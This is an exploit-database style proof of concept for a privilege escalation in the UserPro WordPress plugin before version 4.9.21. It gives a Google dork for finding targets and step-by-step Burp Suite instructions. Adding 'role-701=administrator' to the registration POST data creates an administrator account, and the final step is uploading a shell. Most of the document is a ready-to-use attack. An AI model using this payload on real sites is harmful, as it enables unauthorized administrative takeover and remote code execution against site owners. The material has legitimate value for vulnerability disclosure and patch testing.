WordPress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation

# Exploit Title: Wordpress Plugin UserPro < 4.9.21 User Registration With Administrator Role
# Google Dork: inurl:/wp-content/plugins/userpro/
# Date: 3rd January, 2019
# Exploit Author: Noman Riffat
# Vendor Homepage: https://userproplugin.com/
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: < 4.9.21
# Tested on: Wordpress 4.9.9 with linux but should work on all WP versions and OS as well

UserPro fixed a user registration with administrator privileges vulnerability in version 4.9.21
But there wasn't any POC available so this exploit demonstrates this
vulnerability.
https://demo.userproplugin.com/wp-content/plugins/userpro/changelog.txt
From the changelog: "Security Fix : Registration role validation fix"

The latest version up to now is 4.9.29
The vulnerability allows anyone to register with Administrator role which
can easily be turned into RCE

Steps to reproduce:

1. Go to the registration form, input random fake values, trigger Burp
Suite and click submit.

2. The POST data will look similar to following

redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701=
[email protected]
&user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx

Here "-701" is a random postfix number and gets stripped at the server.
Other than that, the interesting values are

user_login
user_email
user_pass
user_pass_confirm

3. Adding following extra parameter in POST data will register the user
with Administrator privileges

role-701=administrator

So the modified POST data will look similar to following

role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip....

4. Forward the POST data in Burp Suite and you will get redirect to
/profile/ page with Administrator menu on top. Access /wp-admin/ to get to
the dashboard

5. Upload shell with default methods

@nomanriffat